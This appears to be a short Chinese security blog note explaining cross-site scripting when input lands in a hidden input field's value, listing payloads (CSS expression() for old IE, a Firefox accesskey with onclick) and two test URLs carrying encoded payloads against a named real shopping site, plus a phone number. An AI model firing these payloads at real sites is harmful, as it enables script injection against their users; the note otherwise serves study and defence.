文章目錄
  1. 1. 问题场景
  2. 2. 结论
  3. 3. 利用方式
  4. 4. 实例测试
  5. 5. 参考资料

问题场景

有时候会遇到这个场景的XSS,输出在input标签的value里,可以引入双引号,所以可以引入新的属性。但是type是hidden。导致常规的一些事件没法利用。

<input type="hidden" name="redacted" value="default" injection="xss" />

结论

在某些条件下是可以执行javascript的,但是比较鸡肋。资料收集的结论就是利用价值极低。

利用方式

1,如果输出是在type=”hidden”之前,直接覆盖type,就变成了一个常规的xss。这个情况比较少见。

2,建立两个HTML文件,one.htm

<iframe src=two.htm>

two.htm

<input type=hidden style=x:expression(alert(1))>

测试于IE6-9 可以弹。

3,firefox使用键盘交互的方式。

<input type="hidden" accesskey="X" onclick="alert(1)">

Only works on Firefox. ALT+SHIFT+X on Windows/Linux, CTRL+ALT+X osx.

4,使用expression

IE6下

<input type=hidden style=x:expression(alert(1))>

实例测试

http://m.yohobuy.com/passport//back//backcode?phoneNum=15381187741&token=a%20accesskey=X%20onclick=alert%281%29&areaCode=8

http://m.yohobuy.com/passport//back//backcode?phoneNum=15381187741&token=e6fd9%20style%3dx%3aexpr%2f**%2fession(open(alert(1)))%20e6fd9&areaCode=8

参考资料

http://zone.wooyun.org/content/9856
http://blog.portswigger.net/2015/11/xss-in-hidden-input-fields.html

文章目錄
  1. 1. 问题场景
  2. 2. 结论
  3. 3. 利用方式
  4. 4. 实例测试
  5. 5. 参考资料